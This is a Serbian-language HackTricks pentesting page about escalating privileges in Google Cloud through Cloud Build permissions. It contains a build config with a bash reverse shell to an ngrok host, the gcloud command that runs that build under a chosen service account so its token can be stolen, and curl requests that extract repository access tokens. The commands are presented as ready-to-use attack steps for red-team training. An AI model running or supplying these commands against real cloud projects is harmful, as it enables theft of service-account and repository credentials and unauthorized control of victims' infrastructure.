GCP - Cloudbuild Privesc

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

cloudbuild

Za više informacija o Cloud Build, proverite:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Sa ovom dozvolom možete podneti cloud build. Cloudbuild mašina će imati u svom fajl sistemu po defaultu token cloudbuild Service Account-a: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Međutim, možete navesti bilo koji servisni nalog unutar projekta u cloudbuild konfiguraciji.
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili dobiti reverznu školjku unutar nje i dobiti token (fajl koji sadrži token može se promeniti).

Direktna eksploatacija putem gcloud CLI

1- Kreirajte cloudbuild.yaml i izmenite sa podacima vašeg listener-a.

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY

2- Učitajte jednostavnu gradnju bez izvora, yaml datoteku i odredite SA koji će se koristiti za gradnju:

bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Korišćenje python gcloud biblioteke

Možete pronaći originalni exploit skript ovde na GitHub-u (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i ukradite je ovde (u kodu možete pronaći kako da navedete druge servisne naloge).

Za detaljnije objašnjenje, posetite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Sa ovom dozvolom korisnik može dobiti token za čitanje pristupa koji se koristi za pristup repozitorijumu:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Sa ovom dozvolom korisnik može dobiti token za čitanje i pisanje koji se koristi za pristup repozitorijumu:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Sa ovom dozvolom možete dobiti repozitorijume kojima veza ima pristup:

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks